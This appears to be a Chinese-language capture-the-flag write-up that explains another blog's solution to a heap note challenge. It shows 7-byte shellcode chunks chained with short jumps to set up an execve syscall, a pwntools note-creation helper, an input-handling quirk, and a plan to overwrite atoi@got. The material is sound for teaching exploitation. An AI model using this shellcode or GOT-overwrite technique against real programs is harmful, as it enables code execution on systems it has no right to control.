主要题解:https://blog.csdn.net/seaaseesa/article/details/103003167
这篇文章写已经是不错的了,这里主要写一下我对上面那篇文章的理解
1、以下code0到code3的长度都是七个字节。不足七个字节的用\x90填充。90机器码所代表的汇编指令是nop。因为我们跳转的时候用的是相对偏移跳转,所以必须要填充为七个字节,否则偏移要重新计算了。
code0 = (asm('xor rax,rax') + '\x90\x90\xeb\x19') #rax = 0x3B jmp short next_chunk code1= (asm('mov eax,0x3B') + '\xeb\x19') #rsi = 0 jmp short next_chunk code2 = (asm('xor rsi,rsi') + '\x90\x90\xeb\x19') #rdi = 0 jmp short next_chunk code3 = (asm('xor rdx,rdx') + '\x90\x90\xeb\x19')2、这里需要注意的是sh.sendafter('content:',content),这里没有用sendlineafter是因为sendlineafter会在发送的字符串末尾加一个\n。加上\n之后,你其实发送的就是八个字节。
def create(index,size,content): sh.sendlineafter('your choice>>','1') sh.sendlineafter('index:',str(index)) sh.sendlineafter('size:',str(size)) sh.sendafter('content:',content)仔细看循环可以发现,当你想写入八个字节的时候,循环只循环了七次,只接收了七个字节,还有一个字节在缓冲区中,当下次read读取的时候回直接读取第八个字节,即\n。然后跳出循环(v4的值是10,ascii对应的就是\n),然后retur一个换行
所以当你输入七个a的时候,再加一个换行,就会直接返回一个invalid choice。
3、第一次新建笔记的时候创建了a*7。如果第一次直接修改atoi@got的话,会导致之后创建note的时候直接报错。
create(0,8,'a'*7)